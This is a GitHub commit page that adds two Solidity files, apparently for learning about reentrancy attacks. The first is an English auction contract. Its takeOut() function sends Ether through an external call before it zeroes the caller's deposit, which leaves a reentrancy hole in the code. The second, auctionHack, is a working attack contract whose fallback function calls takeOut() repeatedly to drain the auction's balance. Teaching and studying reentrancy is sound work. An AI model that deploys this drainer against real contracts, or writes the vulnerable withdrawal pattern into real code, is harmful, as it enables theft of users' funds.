Skip to content

Commit

Permalink
renuntancy attack intro
Browse files Browse the repository at this point in the history
  • Loading branch information
MahithChigurupati committed Feb 6, 2023
1 parent 38ba7e4 commit 2a8932e
Show file tree
Hide file tree
Showing 2 changed files with 104 additions and 0 deletions.
68 changes: 68 additions & 0 deletions engAuctionRenentancyAttack.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,68 @@
//SPDX-License-Identifier: MIT

pragma solidity ^0.8.7;

contract EnglishAuction{
address payable public seller;
uint256 public timeToEnd;
bool public running;

address public highestBidder;
uint public highestBid;

mapping(address => uint256) public deposits;

constructor(){
seller = payable(msg.sender);


}

function startAuction() public{
require(!running);
require(seller == msg.sender);

running = true;
timeToEnd = block.timestamp + 1 minutes;

}

function bid() public payable{
require(running);

require(msg.value > highestBid);

deposits[msg.sender] += msg.value;

//payable(highestBidder).transfer(highestBid);

highestBidder = msg.sender;
highestBid = msg.value;

}

function win() public{
require(running);
require(timeToEnd <= block.timestamp);

running = false;
seller.transfer(highestBid);
}

function takeOut() public {
require(msg.sender != highestBidder);
require(deposits[msg.sender]!=0);

(bool tryToSend,) = msg.sender.call{value: deposits[msg.sender]}("");
require(tryToSend);

deposits[msg.sender] = 0;

}

function getBalance() public view returns(uint256){
return deposits[msg.sender];
}


}
36 changes: 36 additions & 0 deletions renuntancyHackEng.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
//SPDX-License-Identifier: MIT

pragma solidity ^0.8.7;

interface IEnglishAuction{
function bid() external payable;
function takeOut() external;
function getBalance() external view returns(uint256);
}

contract auctionHack{
IEnglishAuction public auctionContrcat;
uint public loopCounter;
uint public loop = 0;

constructor(address addy){
auctionContrcat = IEnglishAuction(addy);
}

function bid() public payable{
auctionContrcat.bid{value: msg.value}();
}

function takeOut2() public{
loopCounter = address(auctionContrcat).balance / auctionContrcat.getBalance() - 1;
auctionContrcat.takeOut();
}

fallback() external payable{
if(loop < loopCounter){
loop += 1;
auctionContrcat.takeOut();
}
}

}

0 comments on commit 2a8932e

Please sign in to comment.